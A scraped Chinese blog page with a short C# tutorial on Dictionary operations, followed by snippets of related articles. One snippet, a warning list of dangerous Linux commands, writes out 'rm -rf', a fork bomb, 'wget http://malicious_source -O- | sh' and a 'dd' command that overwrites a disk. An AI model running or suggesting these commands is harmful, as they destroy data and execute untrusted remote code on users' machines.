C#——字典diction详情

字典

字典: 包含一个key(键)和这个key所以对应的value(值),字典是是无序的,key是唯一的,可以根据key获取值。

定义字典:

new Diction<key的类型,value的类型>()

方法

添加

var dic = new Dictionary<string, string>();

dic.Add("name", "迪迦"); // add() 方法添加键对值 键为name 值为迪迦

获取值字典

Console.WriteLine(dic["name"]); // 根据键来获取值

获取所有的键key

<先将健转为数组,再将数组转为字符串来打印输出

// .Keys.ToArray()获取字典当中所有的key

// dic.keys.ToArray() 把所有的key转成数组结构

Console.WriteLine(string.Join(", ",dic.Keys.ToArray()));

获取所有的值Values.ToArray()

Console.WriteLine(string.Join(", ",dic.Values.ToArray()));

移除字典元素

dic.Remove("name"); // 移除指定key的方法

查看

查看字典内部是否包含某个元素(键) 返回值为bool : true/false

Console.WriteLine(dic.ContainsKey("name"));

遍历

把所有的key转成数组 在进行遍历

for (int i = 0; i < dic.Keys.ToArray().Length; i++)

{

        Console.WriteLine(dic.Keys.ToArray()[i]);

}

常用的属性和方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/702283.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

消息队列(MQ)核心知识点(持续更新中)

消息队列&#xff08;MQ&#xff09;核心知识点&#xff08;持续更新中&#xff09; RabbitMQRabbitMQ概念及架构RabbitMQ消息丢失的场景及解决方案RabbitMQ重复消费场景及解决方案RabbitMQ消息堆积场景及解决方案RabbitMQ集群 RocketMQRocketMQ概念及架构 RabbitMQ RabbitMQ概…

Hadoop 2.0:主流开源云架构(三)

目录 四、Hadoop 2.0体系架构&#xff08;一&#xff09;Hadoop 2.0公共组件Common&#xff08;二&#xff09;分布式文件系统HDFS&#xff08;三&#xff09;分布式操作系统Yarn&#xff08;四&#xff09;Hadoop 2.0安全机制简介 四、Hadoop 2.0体系架构 &#xff08;一&…

开发了一个宝藏云桌面系统,编程小白强烈安利

大家会不会也会有这样的困扰&#xff0c;一个开发小白&#xff0c;在满怀激情的想踏入代码世界时&#xff0c;往往会被一系列复杂的环境配置和软件安装过程绊住了脚步。想象一下&#xff0c;如果你满心期待地想要运行一个简单的“Hello, World!”程序&#xff0c;或是尝试一段刚…

Mac外接显示器显示不全

Mac外接显示器最大化无法占满屏幕 当你遇到底部无法占满的时候&#xff0c; 只需要&#xff0c;在-->系统设置 中修改“桌面与程序坞”-->“置于屏幕上的位置”&#xff0c;改完之后&#xff0c;改回原设置就行了&#xff1b;

短视频矩阵筷子科技、抖去推、超级编导有那几家源头开发是自己底层框架做的-----

目前这几家都是自己技术团队搭建开发的&#xff0c;每家都有优势劣势产品上基本都已经成熟趋向于优化技术阶段。 云罗---抖去推&#xff1a;*** 将在CAP原则基础上使用分布式架构,对此网站的整体架构采用了基于B/S三层架构模式,将数据层、业务应用层、表现层分开。BS架构B/S&a…

边缘网关在智能制造工厂中的创新应用及效果-天拓四方

在数字化浪潮席卷之下&#xff0c;智能制造工厂正面临着前所未有的数据挑战与机遇。边缘网关&#xff0c;作为数据处理与传输的关键节点&#xff0c;在提升工厂运营效率、确保数据安全方面发挥着日益重要的作用。本文将通过一个具体案例&#xff0c;详细阐述边缘网关在智能制造…

Windows外接显示屏显示无信号

我的电脑症状比较特别&#xff0c;启动后可以连接外接显示屏&#xff0c;一旦睡眠重新唤醒就会断联 显示器显示无信号&#xff0c;笔记本显示设置里只有自带显示器的信息 试了重启显示屏、重新插拔HDMI线、重新换端口都不行 最后解决方法&#xff1a; 属性-设备管理器-显示…

CNC智能化的上下料解决方案

CNC加工行业因其高效、精密的加工能力在3C、汽车等行业中占据重要地位。然而&#xff0c;传统的CNC上下料方式繁琐且耗时&#xff0c;与CNC机床配套工序和设备的高度信息化、自动化水平形成鲜明对比。这种不匹配导致人工上下料成为生产线的瓶颈&#xff0c;不仅效率低下&#x…

C#实现WMI获取硬盘参数

文章目录 背景涉及框架及库WMI查询小工具参数解释U盘移动硬盘本机设备 总结 背景 因为需求需要涉及获取硬盘的SN参数&#xff0c;但是又不想要获取到U盘或移动硬盘设备的SN&#xff0c;所以就浅浅的研究了一下。 以下就是我目前发现的一些参数的作用&#xff0c;够我用了。。。…

探索AOSP中的RRO:运行时资源覆盖的奥秘

探索AOSP中的RRO:运行时资源覆盖的奥秘 在Android开发中,为了提供更大的灵活性和可定制性,Android提供了一种关键特性:运行时资源覆盖(Runtime Resource Overlay,简称RRO)。本文将深入探讨RRO在Android开源项目(AOSP)中的作用及其实现方法。 什么是运行时资源覆盖(…

超级马里奥-小游戏

学习目标&#xff1a; 练习Java面向对象的编程思想&#xff1b; 巩固Java语言基础&#xff0c;数据类型、集合、数组等&#xff1b; 深刻理解Java的三大特性&#xff0c;封装、继承、多态&#xff1b; 效果展示&#xff1a;

rizhuti1.9-最新版-推荐文章缩略图

下载地址&#xff1a;rizhuti1.9-最新版-推荐文章缩略图 商城功能后台可以一键开启关闭&#xff0c;关闭后就是一个布局灵活&#xff0c;界面优美&#xff0c;速度超快的wordpress博客主题

pinpoint agent 接入apm,负责采集java应用的数据,发送给远端collector

一、背景 前文我们使用docker-compose已搭建好了pinpoint的服务端&#xff0c;现在需要在java应用侧&#xff0c;也即客户端部署pinpoint的agent。 agent负责采集数据&#xff0c;并发送给远端的pinpoint collector&#xff0c;最后在pinpoint web展示。 本文主要是以一个ja…

Cantata 24.04 全新发布:以代码为中心的测试实现革命性升级!

简介 Cantata 24.04于2024年4月发布&#xff0c;以开创性的功能彻底革新了软件测试。此版本的主要功能是以代码为中心&#xff08;Code-Centred&#xff09;的方法&#xff0c;可以更快、更高效地在C/C的代码编辑器中创建单元和集成测试。 Cantata 24.04采用C中的最新标准并全…

【Linux】手残党必学,再也不用跑路了

目录 &#x1f6a8;危险命令&#xff0c;请勿靠近TAT&#x1f58b;️rm –rf&#x1f58b;️){:|:&};:&#x1f58b;️mv 指定的文件夹 /dev/null&#x1f58b;️wget http://malicious_source -O- | sh&#x1f58b;️dd if/dev/random of/dev/sda&#x1f58b;️隐藏命令…

Kali Linux 2024.2

Kali Linux 2024.2 版本&#xff08;t64、GNOME 46 和社区包&#xff09; 比平常晚了一点&#xff0c;但 Kali 2024.2 来了&#xff01;延迟是由于实现这一目标的幕后变化所致&#xff0c;这也是人们关注的焦点。社区提供了大量帮助&#xff0c;这次他们不仅添加了新的软件包&…

5.4 安全策略和控制 方法实现探讨

安全策略概述: 定义 安全策略是一组规则和措施&#xff0c;旨在保护组织的信息和资产免受潜在的威胁和攻击。它的制定和实施需要考虑组织的特定需求和风险&#xff0c;并采取适当的措施来减少潜在的安全漏洞。安全策略的定义包括以下几个方面&#xff1a; 1. 目标和范围&…

代码随想录算法训练营第51天:股票2

代码随想录算法训练营第51天&#xff1a;股票2 ‍ 123.买卖股票的最佳时机III 力扣题目链接(opens new window) 给定一个数组&#xff0c;它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&a…

QGroupbox,Grid Layout,button 水平延伸 布局

实验 sizePolicy水瓶延伸 拖入一个groupbox控件 在groupbox控件中拖入一个grid layout 控件 然后拖入3个pushButton 使其水平排列&#xff0c; 设置button3的 sizePolicy 水平延展 为1 效果

404 页面代码

<template> <div class"container"><h1>404</h1> <div ><p class"text-center">当前页面无法访问,可能没有权限或已删除</p><p class"text-center"> 去别处看看吧</p> </div> <…